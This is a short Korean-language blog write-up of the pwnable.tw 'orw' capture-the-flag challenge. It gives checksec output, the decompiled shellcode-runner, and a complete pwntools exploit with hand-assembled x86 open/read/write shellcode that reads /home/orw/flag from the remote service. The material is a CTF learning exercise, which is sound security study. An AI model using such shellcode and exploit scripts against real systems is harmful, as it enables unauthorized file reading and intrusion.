pwn/pwnable.tw

[pwnablw.tw] orw

lok2h4rd 2024. 1. 4. 22:24

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

 

description


int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  (shellcode)();
  return 0;
}

 

쉘코드를 받고 실행시켜 줍니다

seccomp이 걸려있어 rule을 확인해보면 open, read, write이 열려 있어서 문제 이름처럼 orw 쉘코드 작성해주면 됩니다

 

exploit code


from pwn import *

p = remote("chall.pwnable.tw", 10001)

ru = lambda a : p.recvuntil(a)

sc = b"\xb8\x03\x00\x00\x00"
sc += b"\xbb\x00\x00\x00\x00"
sc += b"\xb9\x00\xa1\x04\x08"
sc += b"\xba\x0f\x00\x00\x00"
sc += b"\xcd\x80"
sc += b"\xbb\x00\xa1\x04\x08"
sc += b"\xb8\x05\x00\x00\x00"
sc += b"\xcd\x80"
sc += b"\x89\xc3"
sc += b"\xb8\x03\x00\x00\x00"
sc += b"\xb9\x00\xa1\x04\x08"
sc += b"\xba\x50\x00\x00\x00"
sc += b"\xcd\x80"
sc += b"\xb8\x04\x00\x00\x00"
sc += b"\xbb\x01\x00\x00\x00"
sc += b"\xb9\x00\xa1\x04\x08"
sc += b"\xba\x50\x00\x00\x00"
sc += b"\xcd\x80"
sc += b"\x90" * (200 - len(sc))

ru(b":")
p.send(sc)
sleep(0.1)
p.send(b"/home/orw/flag\x00")

p.interactive()